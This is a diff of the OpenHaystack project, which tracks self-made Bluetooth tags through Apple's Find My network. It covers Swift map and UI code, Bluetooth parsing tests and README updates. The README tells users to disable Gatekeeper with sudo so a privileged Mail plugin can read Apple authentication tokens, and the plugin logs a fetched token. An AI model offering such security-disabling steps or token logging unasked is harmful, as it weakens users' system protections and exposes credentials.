self.alertType = .selectDepoyTarget
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Deploy the public key of the accessory to a BBC microbit.
|
|
||||||
func deployAccessoryToMicrobit(accessory: Accessory) {
|
|
||||||
do {
|
|
||||||
try MicrobitController.deploy(accessory: accessory)
|
|
||||||
} catch {
|
|
||||||
os_log("Error occurred %@", String(describing: error))
|
|
||||||
self.alertType = .deployFailed
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
self.alertType = .deployedSuccessfully
|
|
||||||
|
|
||||||
self.accessoryToDeploy = nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Ask to install and activate the mail plugin.
|
/// Ask to install and activate the mail plugin.
|
||||||
@@ -234,7 +238,7 @@ struct OpenHaystackMainView: View {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func checkPluginIsRunning(silent: Bool=false, _ completion: ((Bool) -> Void)?) {
|
func checkPluginIsRunning(silent: Bool = false, _ completion: ((Bool) -> Void)?) {
|
||||||
// Check if Mail plugin is active
|
// Check if Mail plugin is active
|
||||||
AnisetteDataManager.shared.requestAnisetteData { (result) in
|
AnisetteDataManager.shared.requestAnisetteData { (result) in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
@@ -242,7 +246,7 @@ struct OpenHaystackMainView: View {
|
|||||||
case .success(let accountData):
|
case .success(let accountData):
|
||||||
|
|
||||||
withAnimation {
|
withAnimation {
|
||||||
if let token = accountData.searchPartyToken {
|
if let token = accountData.searchPartyToken {
|
||||||
self.searchPartyToken = String(data: token, encoding: .ascii) ?? ""
|
self.searchPartyToken = String(data: token, encoding: .ascii) ?? ""
|
||||||
if self.searchPartyToken.isEmpty == false {
|
if self.searchPartyToken.isEmpty == false {
|
||||||
self.searchPartyTokenLoaded = true
|
self.searchPartyTokenLoaded = true
|
||||||
@@ -263,11 +267,13 @@ struct OpenHaystackMainView: View {
|
|||||||
}
|
}
|
||||||
self.mailPluginIsActive = false
|
self.mailPluginIsActive = false
|
||||||
completion?(false)
|
completion?(false)
|
||||||
|
|
||||||
//Check again in 5s
|
//Check again in 5s
|
||||||
DispatchQueue.main.asyncAfter(deadline: .now() + 5, execute: {
|
DispatchQueue.main.asyncAfter(
|
||||||
self.checkPluginIsRunning(silent: true, nil)
|
deadline: .now() + 5,
|
||||||
})
|
execute: {
|
||||||
|
self.checkPluginIsRunning(silent: true, nil)
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -347,24 +353,11 @@ struct OpenHaystackMainView: View {
|
|||||||
action: {
|
action: {
|
||||||
self.downloadPlugin()
|
self.downloadPlugin()
|
||||||
}), secondaryButton: .cancel())
|
}), secondaryButton: .cancel())
|
||||||
case .selectDepoyTarget:
|
|
||||||
let microbitButton = Alert.Button.default(Text("Microbit"), action: { self.deployAccessoryToMicrobit(accessory: self.accessoryToDeploy!) })
|
|
||||||
|
|
||||||
let esp32Button = Alert.Button.default(
|
|
||||||
Text("ESP32"),
|
|
||||||
action: {
|
|
||||||
self.showESP32DeploySheet = true
|
|
||||||
})
|
|
||||||
|
|
||||||
return Alert(
|
|
||||||
title: Text("Select target"),
|
|
||||||
message: Text("Please select to which device you want to deploy"),
|
|
||||||
primaryButton: microbitButton,
|
|
||||||
secondaryButton: esp32Button)
|
|
||||||
case .downloadingReportsFailed:
|
case .downloadingReportsFailed:
|
||||||
return Alert(title: Text("Downloading locations failed"),
|
return Alert(
|
||||||
message: Text("We could not download any locations from Apple. Please try again later"),
|
title: Text("Downloading locations failed"),
|
||||||
dismissButton: Alert.Button.okay())
|
message: Text("We could not download any locations from Apple. Please try again later"),
|
||||||
|
dismissButton: Alert.Button.okay())
|
||||||
case .exportFailed:
|
case .exportFailed:
|
||||||
return Alert(
|
return Alert(
|
||||||
title: Text("Export failed"),
|
title: Text("Export failed"),
|
||||||
@@ -392,7 +385,6 @@ struct OpenHaystackMainView: View {
|
|||||||
case downloadingReportsFailed
|
case downloadingReportsFailed
|
||||||
case activatePlugin
|
case activatePlugin
|
||||||
case pluginInstallFailed
|
case pluginInstallFailed
|
||||||
case selectDepoyTarget
|
|
||||||
case exportFailed
|
case exportFailed
|
||||||
case importFailed
|
case importFailed
|
||||||
}
|
}
|
||||||
@@ -413,3 +405,35 @@ extension Alert.Button {
|
|||||||
Alert.Button.default(Text("Okay"))
|
Alert.Button.default(Text("Okay"))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
extension TimeInterval {
|
||||||
|
var description: String {
|
||||||
|
var value = 0
|
||||||
|
var unit = Units.second
|
||||||
|
Units.allCases.forEach { u in
|
||||||
|
if self.rounded() >= u.rawValue {
|
||||||
|
value = Int((self / u.rawValue).rounded())
|
||||||
|
unit = u
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "\(value) \(unit.description)\(value > 1 ? "s" : "")"
|
||||||
|
}
|
||||||
|
|
||||||
|
enum Units: Double, CaseIterable {
|
||||||
|
case second = 1
|
||||||
|
case minute = 60
|
||||||
|
case hour = 3600
|
||||||
|
case day = 86400
|
||||||
|
case week = 604800
|
||||||
|
|
||||||
|
var description: String {
|
||||||
|
switch self {
|
||||||
|
case .second: return "Second"
|
||||||
|
case .minute: return "Minute"
|
||||||
|
case .hour: return "Hour"
|
||||||
|
case .day: return "Day"
|
||||||
|
case .week: return "Week"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
//
|
||||||
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
|
//
|
||||||
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
|
// Copyright © 2021 The Open Wireless Link Project
|
||||||
|
//
|
||||||
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
//
|
||||||
|
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
extension Binding where Value == Double {
|
||||||
|
func logarithmic(base: Double = 10.0) -> Binding<Double> {
|
||||||
|
Binding(
|
||||||
|
get: {
|
||||||
|
logC(self.wrappedValue, forBase: base)
|
||||||
|
},
|
||||||
|
set: { (newValue) in
|
||||||
|
self.wrappedValue = pow(base, newValue)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
extension Slider {
|
||||||
|
static func withLogScale(
|
||||||
|
base: Double = 10.0,
|
||||||
|
value: Binding<Double>,
|
||||||
|
in inRange: ClosedRange<Double>,
|
||||||
|
minimumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
|
||||||
|
maximumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
|
||||||
|
label: () -> Label = { EmptyView() as! Label },
|
||||||
|
onEditingChanged: @escaping (Bool) -> Void = { _ in }
|
||||||
|
) -> Slider where Label: View, ValueLabel: View {
|
||||||
|
return self.init(
|
||||||
|
value: value.logarithmic(base: base),
|
||||||
|
in: logC(inRange.lowerBound, forBase: base)...logC(inRange.upperBound, forBase: base),
|
||||||
|
onEditingChanged: onEditingChanged, minimumValueLabel: minimumValueLabel,
|
||||||
|
maximumValueLabel: maximumValueLabel,
|
||||||
|
label: label)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private func logC(_ value: Double, forBase base: Double) -> Double {
|
||||||
|
return log(value) / log(base)
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
//
|
||||||
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
|
//
|
||||||
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
|
// Copyright © 2021 The Open Wireless Link Project
|
||||||
|
//
|
||||||
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
|
struct LargeButtonStyle: ButtonStyle {
|
||||||
|
|
||||||
|
var active: Bool = false
|
||||||
|
var destructive: Bool = false
|
||||||
|
|
||||||
|
func makeBody(configuration: Configuration) -> some View {
|
||||||
|
ZStack {
|
||||||
|
if configuration.isPressed {
|
||||||
|
RoundedRectangle(cornerRadius: 5.0)
|
||||||
|
.fill(Color.accentColor)
|
||||||
|
} else {
|
||||||
|
RoundedRectangle(cornerRadius: 5.0)
|
||||||
|
.fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
|
||||||
|
}
|
||||||
|
|
||||||
|
configuration.label
|
||||||
|
.font(Font.headline)
|
||||||
|
.padding(6)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -28,5 +28,7 @@
|
|||||||
<true/>
|
<true/>
|
||||||
<key>NSSupportsSuddenTermination</key>
|
<key>NSSupportsSuddenTermination</key>
|
||||||
<true/>
|
<true/>
|
||||||
|
<key>NSBluetoothAlwaysUsageDescription</key>
|
||||||
|
<string>OpenHaystack uses Bluetooth to detect the presence of nearby accessories.</string>
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
|
|||||||
@@ -19,11 +19,7 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
|
|||||||
super.viewDidLoad()
|
super.viewDidLoad()
|
||||||
self.mapView.delegate = self
|
self.mapView.delegate = self
|
||||||
self.mapView.register(AccessoryAnnotationView.self, forAnnotationViewWithReuseIdentifier: "Accessory")
|
self.mapView.register(AccessoryAnnotationView.self, forAnnotationViewWithReuseIdentifier: "Accessory")
|
||||||
}
|
self.mapView.register(MKPinAnnotationView.self, forAnnotationViewWithReuseIdentifier: "AccessoryHistory")
|
||||||
|
|
||||||
func zoom(on accessory: Accessory?) {
|
|
||||||
self.focusedAccessory = accessory
|
|
||||||
self.zoomInOnSelection()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func addLastLocations(from accessories: [Accessory]) {
|
func addLastLocations(from accessories: [Accessory]) {
|
||||||
@@ -34,15 +30,11 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
|
|||||||
let annotation = AccessoryAnnotation(accessory: accessory)
|
let annotation = AccessoryAnnotation(accessory: accessory)
|
||||||
self.mapView.addAnnotation(annotation)
|
self.mapView.addAnnotation(annotation)
|
||||||
}
|
}
|
||||||
self.zoomInOnSelection()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func zoomInOnSelection() {
|
func zoomInOnSelection() {
|
||||||
var annotations = [MKAnnotation]()
|
|
||||||
|
|
||||||
if focusedAccessory == nil {
|
if focusedAccessory == nil {
|
||||||
// Show all locations
|
zoomInOnAll()
|
||||||
annotations = self.mapView.annotations
|
|
||||||
} else {
|
} else {
|
||||||
// Show focused accessory
|
// Show focused accessory
|
||||||
let focusedAnnotation: MKAnnotation? = self.mapView.annotations.first(where: { annotation in
|
let focusedAnnotation: MKAnnotation? = self.mapView.annotations.first(where: { annotation in
|
||||||
@@ -50,11 +42,18 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
|
|||||||
return accessoryAnnotation.accessory == self.focusedAccessory
|
return accessoryAnnotation.accessory == self.focusedAccessory
|
||||||
})
|
})
|
||||||
if let annotation = focusedAnnotation {
|
if let annotation = focusedAnnotation {
|
||||||
annotations = [annotation]
|
zoomInOn(annotations: [annotation])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
DispatchQueue.main.async {
|
}
|
||||||
self.mapView.showAnnotations(annotations, animated: true)
|
|
||||||
|
func zoomInOnAll() {
|
||||||
|
zoomInOn(annotations: self.mapView.annotations)
|
||||||
|
}
|
||||||
|
|
||||||
|
func zoomInOn(annotations: [MKAnnotation]) {
|
||||||
|
DispatchQueue.main.async { [weak self] in
|
||||||
|
self?.mapView.showAnnotations(annotations, animated: true)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,12 +61,33 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
|
|||||||
self.mapView.mapType = mapType
|
self.mapView.mapType = mapType
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func addAllLocations(from accessory: Accessory, past: TimeInterval) {
|
||||||
|
let now = Date()
|
||||||
|
let pastLocations = accessory.locations?.filter { location in
|
||||||
|
guard let timestamp = location.timestamp else {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return timestamp + past >= now
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||||
|
for location in pastLocations ?? [] {
|
||||||
|
let coordinate = CLLocationCoordinate2DMake(location.latitude, location.longitude)
|
||||||
|
let annotation = AccessoryHistoryAnnotation(coordinate: coordinate)
|
||||||
|
self.mapView.addAnnotation(annotation)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? {
|
func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? {
|
||||||
switch annotation {
|
switch annotation {
|
||||||
case is AccessoryAnnotation:
|
case is AccessoryAnnotation:
|
||||||
let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "Accessory", for: annotation)
|
let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "Accessory", for: annotation)
|
||||||
annotationView.annotation = annotation
|
annotationView.annotation = annotation
|
||||||
return annotationView
|
return annotationView
|
||||||
|
case is AccessoryHistoryAnnotation:
|
||||||
|
let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "AccessoryHistory", for: annotation)
|
||||||
|
annotationView.annotation = annotation
|
||||||
|
return annotationView
|
||||||
default:
|
default:
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,13 +12,16 @@ import SwiftUI
|
|||||||
@main
|
@main
|
||||||
struct OpenHaystackApp: App {
|
struct OpenHaystackApp: App {
|
||||||
@StateObject var accessoryController: AccessoryController
|
@StateObject var accessoryController: AccessoryController
|
||||||
|
var accessoryNearbyMonitor: AccessoryNearbyMonitor?
|
||||||
|
|
||||||
init() {
|
init() {
|
||||||
let accessoryController: AccessoryController
|
let accessoryController: AccessoryController
|
||||||
if ProcessInfo().arguments.contains("-preview") {
|
if ProcessInfo().arguments.contains("-preview") {
|
||||||
accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController())
|
accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController())
|
||||||
|
self.accessoryNearbyMonitor = nil
|
||||||
} else {
|
} else {
|
||||||
accessoryController = AccessoryController()
|
accessoryController = AccessoryController()
|
||||||
|
self.accessoryNearbyMonitor = AccessoryNearbyMonitor(accessoryController: accessoryController)
|
||||||
}
|
}
|
||||||
self._accessoryController = StateObject(wrappedValue: accessoryController)
|
self._accessoryController = StateObject(wrappedValue: accessoryController)
|
||||||
}
|
}
|
||||||
@@ -31,22 +34,5 @@ struct OpenHaystackApp: App {
|
|||||||
.commands {
|
.commands {
|
||||||
SidebarCommands()
|
SidebarCommands()
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
//MARK: Environment objects
|
|
||||||
private struct FindMyControllerEnvironmentKey: EnvironmentKey {
|
|
||||||
static let defaultValue: FindMyController = FindMyController()
|
|
||||||
}
|
|
||||||
|
|
||||||
private struct AccessoryControllerEnvironmentKey: EnvironmentKey {
|
|
||||||
static let defaultValue: AccessoryController = {
|
|
||||||
if ProcessInfo().arguments.contains("-preview") {
|
|
||||||
return AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController())
|
|
||||||
} else {
|
|
||||||
return AccessoryController()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,10 +26,12 @@
|
|||||||
|
|
||||||
CFTypeRef item;
|
CFTypeRef item;
|
||||||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &item);
|
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &item);
|
||||||
|
|
||||||
|
|
||||||
if (status == errSecSuccess) {
|
if (status == errSecSuccess) {
|
||||||
NSData *securityToken = (__bridge NSData *)(item);
|
NSData *securityToken = (__bridge NSData *)(item);
|
||||||
|
CFRelease(item);
|
||||||
|
|
||||||
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
|
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
|
||||||
|
|
||||||
if (securityToken.length == 0) {
|
if (securityToken.length == 0) {
|
||||||
@@ -79,7 +81,8 @@
|
|||||||
|
|
||||||
if (status == errSecSuccess) {
|
if (status == errSecSuccess) {
|
||||||
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
|
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
|
||||||
|
CFRelease(item);
|
||||||
|
|
||||||
NSString *accountId = itemDict[(NSString *)kSecAttrAccount];
|
NSString *accountId = itemDict[(NSString *)kSecAttrAccount];
|
||||||
|
|
||||||
return accountId;
|
return accountId;
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ NS_ASSUME_NONNULL_BEGIN
|
|||||||
@property(nonatomic, copy) NSLocale *locale;
|
@property(nonatomic, copy) NSLocale *locale;
|
||||||
@property(nonatomic, copy) NSTimeZone *timeZone;
|
@property(nonatomic, copy) NSTimeZone *timeZone;
|
||||||
|
|
||||||
@property(nonatomic, copy) NSData * _Nullable searchPartyToken;
|
@property(nonatomic, copy) NSData *_Nullable searchPartyToken;
|
||||||
|
|
||||||
- (instancetype)initWithMachineID:(NSString *)machineID
|
- (instancetype)initWithMachineID:(NSString *)machineID
|
||||||
oneTimePassword:(NSString *)oneTimePassword
|
oneTimePassword:(NSString *)oneTimePassword
|
||||||
|
|||||||
61
OpenHaystack/OpenHaystackTests/BluetoothTests.swift
Normal file
61
OpenHaystack/OpenHaystackTests/BluetoothTests.swift
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
//
|
||||||
|
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||||
|
//
|
||||||
|
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||||
|
// Copyright © 2021 The Open Wireless Link Project
|
||||||
|
//
|
||||||
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
|
//
|
||||||
|
|
||||||
|
import CoreBluetooth
|
||||||
|
import XCTest
|
||||||
|
|
||||||
|
@testable import OpenHaystack
|
||||||
|
|
||||||
|
class BluetoothTests: XCTestCase {
|
||||||
|
|
||||||
|
override func setUpWithError() throws {
|
||||||
|
// Put setup code here. This method is called before the invocation of each test method in the class.
|
||||||
|
}
|
||||||
|
|
||||||
|
override func tearDownWithError() throws {
|
||||||
|
// Put teardown code here. This method is called after the invocation of each test method in the class.
|
||||||
|
}
|
||||||
|
|
||||||
|
func testNoManufacturerData() throws {
|
||||||
|
let data: [String: Any] = [
|
||||||
|
"": Data()
|
||||||
|
]
|
||||||
|
let adv = Advertisement(fromAdvertisementData: data)
|
||||||
|
XCTAssertNil(adv)
|
||||||
|
}
|
||||||
|
|
||||||
|
func testEmptyManufacturerData() throws {
|
||||||
|
let data: [String: Any] = [
|
||||||
|
CBAdvertisementDataManufacturerDataKey: Data()
|
||||||
|
]
|
||||||
|
let adv = Advertisement(fromAdvertisementData: data)
|
||||||
|
XCTAssertNil(adv)
|
||||||
|
}
|
||||||
|
|
||||||
|
func testCorrectAdvertisement() throws {
|
||||||
|
let publicKey = "11111111111111111111111111111111111111111111".hexaData
|
||||||
|
let data = "4c00121900111111111111111111111111111111111111111111110100".hexaData
|
||||||
|
let adv = Advertisement(fromManufacturerData: data)
|
||||||
|
XCTAssertNotNil(adv)
|
||||||
|
XCTAssertEqual(adv?.publicKeyPayload, publicKey)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
extension StringProtocol {
|
||||||
|
var hexaData: Data { .init(hexa) }
|
||||||
|
var hexaBytes: [UInt8] { .init(hexa) }
|
||||||
|
private var hexa: UnfoldSequence<UInt8, Index> {
|
||||||
|
sequence(state: startIndex) { startIndex in
|
||||||
|
guard startIndex < self.endIndex else { return nil }
|
||||||
|
let endIndex = self.index(startIndex, offsetBy: 2, limitedBy: self.endIndex) ?? self.endIndex
|
||||||
|
defer { startIndex = endIndex }
|
||||||
|
return UInt8(self[startIndex..<endIndex], radix: 16)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
45
README.md
45
README.md
@@ -25,8 +25,8 @@ OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's
|
|||||||
|
|
||||||
## What is _OpenHaystack_?
|
## What is _OpenHaystack_?
|
||||||
|
|
||||||
OpenHaystack is an application that allows you to create your own tags that are tracked by Apple's [Find My network](#how-does-apples-find-my-network-work). All you need is a Mac and a [BBC micro:bit](https://microbit.org/) or any [other Bluetooth-capable device](#how-to-track-other-bluetooth-devices).
|
OpenHaystack is an application that allows you to create your own accessories that are tracked by Apple's [Find My network](#how-does-apples-find-my-network-work). All you need is a Mac and a [BBC micro:bit](https://microbit.org/) or any [other Bluetooth-capable device](#how-to-track-other-bluetooth-devices).
|
||||||
By using the app, you can track your micro:bit tag anywhere on earth without cellular coverage. Nearby iPhones will discover your tag and upload their location to Apple's servers when they have a network connection.
|
By using the app, you can track your accessories anywhere on earth without cellular coverage. Nearby iPhones will discover your accessories and upload their location to Apple's servers when they have a network connection.
|
||||||
|
|
||||||
### History
|
### History
|
||||||
|
|
||||||
@@ -37,7 +37,7 @@ Since its release, we received quite a bit of [press and media coverage](https:/
|
|||||||
|
|
||||||
### Disclaimer
|
### Disclaimer
|
||||||
|
|
||||||
OpenHaystack is experimental software. The code is untested and incomplete. For example, OpenHaystack tags using our [firmware](Firmware) broadcast a fixed public key and, therefore, are trackable by other devices in proximity (this might change in a future release). OpenHaystack is not affiliated with or endorsed by Apple Inc.
|
OpenHaystack is experimental software. The code is untested and incomplete. For example, OpenHaystack accessories using our [firmware](Firmware) broadcast a fixed public key and, therefore, are trackable by other devices in proximity (this might change in a future release). OpenHaystack is not affiliated with or endorsed by Apple Inc.
|
||||||
|
|
||||||
## How to use _OpenHaystack_?
|
## How to use _OpenHaystack_?
|
||||||
|
|
||||||
@@ -58,22 +58,18 @@ Our plugin does not access any other private data such as emails (see [source co
|
|||||||
2. Open OpenHaystack. This will ask you to install the Mail plugin in `~/Library/Mail/Bundle`.
|
2. Open OpenHaystack. This will ask you to install the Mail plugin in `~/Library/Mail/Bundle`.
|
||||||
3. Open a terminal and run `sudo spctl --master-disable`, which will disable Gatekeeper and allow our Apple Mail plugin to run.
|
3. Open a terminal and run `sudo spctl --master-disable`, which will disable Gatekeeper and allow our Apple Mail plugin to run.
|
||||||
4. Open Apple Mail. Go to _Preferences_ → _General_ → _Manage Plug-Ins..._ and activate the checkbox next to _OpenHaystackMail.mailbundle_.
|
4. Open Apple Mail. Go to _Preferences_ → _General_ → _Manage Plug-Ins..._ and activate the checkbox next to _OpenHaystackMail.mailbundle_.
|
||||||
|
* If the _Manage Plug-Ins..._ button does not appear. Run this command in terminal `sudo defaults write "/Library/Preferences/com.apple.mail" EnableBundles 1`
|
||||||
5. Allow access and restart Mail.
|
5. Allow access and restart Mail.
|
||||||
6. Open a terminal and enter `sudo spctl --master-enable`, which will enable Gatekeeper again.
|
6. Open a terminal and enter `sudo spctl --master-enable`, which will enable Gatekeeper again.
|
||||||
|
|
||||||
### Usage
|
### Usage
|
||||||
|
|
||||||
**Adding a new tag.**
|
**Adding a new accessory.**
|
||||||
To create a new tag, you just need to enter a name for it and optionally select a suitable icon and a color. The app then generates a new key pair that is used to encrypt and decrypt the location reports. The private key is stored in your Mac's keychain.
|
To create a new accessory, you just need to enter a name for it and optionally select a suitable icon and a color. The app then generates a new key pair that is used to encrypt and decrypt the location reports. The private key is stored in your Mac's keychain.
|
||||||
|
|
||||||
**BBC Microbit**
|
**Deploy to device.**
|
||||||
Upon deploying, the app will try to flash our firmware image with the new public key to a USB-connected [BBC micro:bit v1](https://microbit.org/).
|
Connect a [supported device](#how-to-track-other-bluetooth-devices) via USB to your Mac and hit the _Deploy_ button next to the accessory's name and choose the corresponding.
|
||||||
|
Instead of using OpenHaystack's integrated deployment, you may also copy the public key used for advertising (right click on accessory) and deploy it manually.
|
||||||
**ESP32**
|
|
||||||
Since version 0.3.1 we also ship a simple ESP32 firmware that supports the same features as our firmware for the BBC micro:bit. To flash an ESP32 connect it via USB and select the correct serial port when deploying. It can take up to 3 minuites, a Python 3 version is required.
|
|
||||||
|
|
||||||
**Manual**
|
|
||||||
However, you may also copy the public key used for advertising and deploy it via some other mechanism.
|
|
||||||
|
|
||||||
**Display devices' locations.**
|
**Display devices' locations.**
|
||||||
It can take up to 30 minutes until you will see the first location report on the map on the right side. The map will always show all your items' most recent locations. You can click on every item to check when the last update was received.
|
It can take up to 30 minutes until you will see the first location report on the map on the right side. The map will always show all your items' most recent locations. You can click on every item to check when the last update was received.
|
||||||
@@ -87,12 +83,12 @@ We briefly explain Apple's offline finding system (aka [_Find My network_](https
|
|||||||
|
|
||||||
### Pairing (1)
|
### Pairing (1)
|
||||||
|
|
||||||
To use Apple's Find My network, we generate a public-private key pair on an elliptic curve (P-224). The private key remains on the Mac securely stored in the keychain, and the public key will be deployed on the tag, e.g., an attached micro:bit.
|
To use Apple's Find My network, we generate a public-private key pair on an elliptic curve (P-224). The private key remains on the Mac securely stored in the keychain, and the public key is deployed on the accessory, e.g., an attached micro:bit.
|
||||||
|
|
||||||
### Losing (2)
|
### Losing (2)
|
||||||
|
|
||||||
In short, the tags broadcast the public key as Bluetooth Low Energy (BLE) advertisements (see [firmware](Firmware)).
|
In short, the accessories broadcast the public key as Bluetooth Low Energy (BLE) advertisements (see [firmware](Firmware)).
|
||||||
Nearby iPhones will not be able to distinguish our tags from a genuine Apple device or certified accessory.
|
Nearby iPhones will not be able to distinguish our accessories from a genuine Apple device or certified accessory.
|
||||||
|
|
||||||
### Finding (3)
|
### Finding (3)
|
||||||
|
|
||||||
@@ -101,21 +97,22 @@ All iPhones on iOS 13 or newer do this by default. OpenHaystack is not involved
|
|||||||
|
|
||||||
### Searching (4)
|
### Searching (4)
|
||||||
|
|
||||||
Apple does not know which encrypted locations belong to which Apple account or device. Therefore, every Apple user can download any location report as long as they know the corresponding public key. This is not a security issue: all reports are end-to-end encrypted and cannot be decrypted unless one knows the corresponding private key (stored in the keychain). We leverage this feature to download the reports from Apple that have been created for our OpenHaystack tags. We use our private keys to decrypt the location reports and show the most recent one on the map.
|
Apple does not know which encrypted locations belong to which Apple account or device. Therefore, every Apple user can download any location report as long as they know the corresponding public key. This is not a security issue: all reports are end-to-end encrypted and cannot be decrypted unless one knows the corresponding private key (stored in the keychain). We leverage this feature to download the reports from Apple that have been created for our OpenHaystack accessories. We use our private keys to decrypt the location reports and show the most recent one on the map.
|
||||||
|
|
||||||
Apple protects their database against arbitrary access by requiring an authenticated Apple user to download location reports.
|
Apple protects their database against arbitrary access by requiring an authenticated Apple user to download location reports.
|
||||||
We use our Apple Mail plugin, which runs with elevated privileges, to access the required authentication information. The OpenHaystack app communicates with the plugin while downloading reports. This is why you need to keep Mail open while using OpenHaystack.
|
We use our Apple Mail plugin, which runs with elevated privileges, to access the required authentication information. The OpenHaystack app communicates with the plugin while downloading reports. This is why you need to keep Mail open while using OpenHaystack.
|
||||||
|
|
||||||
## How to track other Bluetooth devices?
|
## How to track other Bluetooth devices?
|
||||||
|
|
||||||
Currently, we only provide a convenient deployment method of our OpenHaystack firmware for the BBC micro:bit.
|
In principle, any Bluetooth device can be turned into an OpenHaystack accessory that is trackable via Apple's Find My network.
|
||||||
However, you should be able to implement the advertisements on other devices that support Bluetooth Low Energy based on the [source code of our firmware](Firmware) and the specification in [our paper](#references).
|
Currently, we provide a convenient deployment method of our OpenHaystack firmwares for a small number of embedded devices (see table below). We also support Linux devices via our generic HCI script.
|
||||||
|
Feel free to port OpenHaystack to other devices that support Bluetooth Low Energy based on the [source code of our firmware](Firmware) and the specification in [our paper](#references). Please share your results with us!
|
||||||
|
|
||||||
In addition, you can easily turn any Linux machine (including **Raspberry Pi**) into a _tag_ that can be tracked via the Find My network. Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory. Then run the script:
|
| Platform | Tested on | Deploy via app | Comment |
|
||||||
|
|----------|-----------|:--------------:|---------|
|
||||||
```bash
|
| [Nordic nRF51](Firmware/Microbit_v1) | BBC micro:bit v1 | ✓ | Only supports nRF51288 at this time (see issue #6). |
|
||||||
sudo python3 HCI.py --key <ADVERTISMENT_KEY>
|
| [Espressif ESP32](Firmware/ESP32) | SP32-WROOM, ESP32-WROVER | ✓ | Deployment can take up to 3 minutes. Requires Python 3. Thanks **@fhessel**. |
|
||||||
```
|
| [Linux HCI](Firmware/Linux_HCI) | Raspberry Pi 4 w/ Raspbian | | Should support any Linux machine. |
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user